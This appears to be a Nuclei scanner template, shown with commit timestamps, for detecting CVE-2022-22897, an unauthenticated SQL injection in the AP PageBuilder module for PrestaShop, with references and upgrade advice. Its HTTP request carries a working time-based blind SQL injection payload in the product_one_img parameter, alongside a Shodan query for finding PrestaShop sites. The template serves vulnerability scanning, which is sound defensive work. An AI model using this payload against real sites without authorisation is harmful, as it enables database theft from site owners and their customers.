2023-07-13 16:54:13 +00:00
id : CVE-2022-22897
info :
name : PrestaShop Ap Pagebuilder <= 2.4.4 SQL Injection
author : mastercho
2023-08-02 03:53:57 +00:00
severity : critical
2023-07-13 16:54:13 +00:00
description : |
2023-08-02 03:53:57 +00:00
A SQL injection vulnerability in the product_all_one_img and image_product parameters of the ApolloTheme AP PageBuilder component through 2.4.4 for PrestaShop allows unauthenticated attackers to exfiltrate database data.
2023-09-06 11:59:08 +00:00
remediation : |
Upgrade PrestaShop Ap Pagebuilder to version 2.4.5 or later to mitigate this vulnerability.
2023-07-13 16:54:13 +00:00
reference :
2023-08-02 03:53:57 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-22897
2023-07-13 16:54:13 +00:00
- https://packetstormsecurity.com/files/cve/CVE-2022-22897
2023-08-02 03:53:57 +00:00
- https://security.friendsofpresta.org/modules/2023/01/05/appagebuilder.html
2023-07-13 16:54:13 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2022-22897
cwe-id : CWE-89
2023-10-14 11:27:55 +00:00
epss-score : 0.04685
2023-10-30 20:55:37 +00:00
epss-percentile : 0.91674
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:apollotheme:ap_pagebuilder:*:*:*:*:*:prestashop:*:*
2023-07-13 16:54:13 +00:00
metadata :
2023-08-25 14:08:39 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 2
2023-08-31 11:46:18 +00:00
vendor : apollotheme
product : ap_pagebuilder
2023-09-06 11:59:08 +00:00
framework : prestashop
shodan-query : http.component:"Prestashop"
2023-08-31 11:46:18 +00:00
tags : packetstorm,cve,cve2022,prestashop,sqli,unauth
2023-07-13 16:54:13 +00:00
http :
- raw :
- |
POST /modules/appagebuilder/apajax.php?rand={{rand_int(0000000000000, 9999999999999)}} HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2023-08-02 03:53:57 +00:00
Referer : {{RootURL}}
2023-07-13 16:54:13 +00:00
X-Requested-With : XMLHttpRequest
2023-07-13 17:04:28 +00:00
2023-07-13 16:54:13 +00:00
leoajax=1&product_one_img=if(now()=sysdate()%2Csleep(6)%2C0)
2023-08-18 16:06:49 +00:00
- |
GET /modules/appagebuilder/config.xml HTTP/1.1
Host : {{Hostname}}
extractors :
- type : regex
name : version
2023-08-18 16:09:23 +00:00
part : body_2
2023-08-18 16:06:49 +00:00
internal : true
group : 1
regex :
- "<version>\\s*<!\\[CDATA\\[(.*?)\\]\\]>\\s*<\\/version>"
2023-07-13 16:54:13 +00:00
matchers :
- type : dsl
dsl :
2023-08-18 16:06:49 +00:00
- 'duration_1>=6'
- 'status_code_2 == 200 && compare_versions(version, "<= 2.4.4")'
condition : and
2023-10-31 09:39:52 +00:00
# digest: 490a0046304402207bf1fd6c94455dcfe55b2b3f584fd0a7a795d19015735f8dc648c3ee4d3defa202202d69a3e670d588597a33dad31fb7947a2bc72f2fdc0cbae61d5d971cdcbb30c9:922c64590222798bb761d5b6d8e72950